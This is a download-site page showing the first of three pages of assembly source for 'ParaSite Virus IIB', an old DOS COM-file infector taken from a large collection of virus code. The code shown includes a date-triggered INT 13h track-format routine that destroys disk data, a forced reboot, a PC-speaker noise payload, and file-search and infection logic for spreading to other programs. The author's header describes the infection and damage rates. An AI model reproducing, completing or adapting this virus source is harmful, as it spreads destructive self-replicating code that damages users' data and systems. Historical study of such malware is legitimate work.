⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 parasite.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
;********************************************************************    
;   <PARSIT2B.ASM>   -   ParaSite Virus IIB                              
;                        By: Rock Steady                                 
;  Close to one year I created this Virus. As you can see it is quite    
;  old... Maybe too Old... But here it is... It Sucks... but its great   
;  for any virus beginner... Anyhow...                                   
;  NOTES: Simple COM infector. 10% of the time it reboots the system     
;         20% it plays machine gun noices on the PC speaker... and       
;         70% of the time is infects another COM file... Have fun...     
;********************************************************************    
MOV_CX  MACRO X                                                          
        DB    0B9H                                                       
        DW    X                                                          
ENDM                                                                     
                                                                         
CODE    SEGMENT                                                          
        ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE                           
        ORG     100H                                                     
                                                                         
                                                                         
VCODE:  JMP     virus                                                    
                                                                         
        NOP                                                              
        NOP                             ; To identify it as an Infected  
        NOP                             ; Program!                       
                                                                         
v_start equ     $                                                        
                                                                         
                                                                         
virus:  PUSH    CX                                                       
        MOV     DX,OFFSET vir_dat                                        
        CLD                                                              
        MOV     SI,DX                                                    
        ADD     SI,first_3                                               
        JMP     Rock_1                                                   
Rock_2:                                                                  
        MOV     DX,dta                                                   
        ADD     DX,SI                                                    
        MOV     AH,1AH                                                   
        INT     21H                                                      
        PUSH    ES                                                       
        PUSH    SI                                                       
        MOV     ES,DS:2CH                                                
        MOV     DI,0                                                     
        JMP     Day_Of_Week                                              
Rock_1:                                                                  
        MOV     CX,3                                                     
        MOV     DI,OFFSET 100H                                           
        REPZ    MOVSB                                                    
        MOV     SI,DX                                                    
        PUSH    ES                                                       
        MOV     AH,2FH                                                   
        INT     21H                                                      
        MOV     [SI+old_dta],BX                                          
        MOV     [SI+old_dts],ES                                          
        POP     ES                                                       
        JMP     Rock_2                                                   
                                                                         
Day_Of_Week:                                                             
        MOV     AH,2AH                  ;Get System date!                
        INT     21H                                                      
        CMP     AL,1                    ;Check to See if it's Monday!    
        JGE     day_check               ;Jump if later than Mondays      
        JMP     Get_Time                                                 
day_check:                                                               
        CMP     AL,1                    ;Check to see if it is the 1st   
        JA      Get_Time                ;If yes, create a MESS...        
        JMP     Bad_Mondays             ;If not, then go on with infecti 
mess:                                                                    
                                                                         
Bad_Mondays:                                                             
          MOV   DL,2                    ;The Formatting Tracks..         
          MOV   AH,05                                                    
          MOV   DH,80h                                                   
          MOV   CH,0                                                     
          INT   13h                                                      
                                                                         
Play_music:                                                              
          MOV   CX,20d                  ;Set number of Shots             
new_shot:                                                                
          PUSH  CX                      ;Save Count                      
          CALL  Shoot                                                    
          MOV   CX,4000H                                                 
Silent:   LOOP  silent                                                   
          POP   CX                                                       
          LOOP  new_Shot                                                 
          JMP   mess                                                     
                                                                         
SHOOT     proc  near                    ;The Machine Gun Noices...       
          MOV   DX,140h                                                  
          MOV   BX,20h                                                   
          IN    AL,61h                                                   
          AND   AL,11111100b                                             
SOUND:    XOR   AL,2                                                     
          OUT   61h,al                                                   
          ADD   dx,9248h                                                 
          MOV   CL,3                                                     
          ROR   DX,CL                                                    
          MOV   CX,DX                                                    
          AND   cx,1ffh                                                  
          OR    CX,10                                                    
WAITA:    LOOP  WAITA                                                    
          DEC   BX                                                       
          JNZ   SOUND                                                    
          AND   AL,11111100b                                             
          OUT   61h,AL                                                   
          RET                                                            
Shoot     Endp                                                           
                                                                         
Get_Time:                                                                
          MOV   AH,2Ch                  ; Get System Time!               
          INT   21h                     ;                                
          AND   DH,0fh                                                   
          CMP   DH,3                                                     
          JB    Play_music                                               
          CMP   DH,3h                                                    
          JA    Find_Path                                                
          INT   19h                                                      
                                                                         
go:                                                                      
        MOV     AH, 47H                                                  
        XOR     DL,DL                                                    
        ADD     SI, OFFSET orig_path - OFFSET buffer - 8                 
        INT     21H                                                      
        JC      find_path                                                
                                                                         
        MOV     AH,3BH                                                   
        MOV     DX,SI                                                    
        ADD     DX, OFFSET root_dir - OFFSET orig_path                   
        INT     21H                                                      
                                                                         
infect_root:                                                             
        MOV     [BX+nam_ptr],DI                                          
        MOV     SI,BX                                                    
        ADD     SI,f_ipec                                                
        MOV     CX,6                                                     
        REPZ    MOVSB                                                    
        JMP     hello                                                    
                                                                         
find_path:                                                               

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -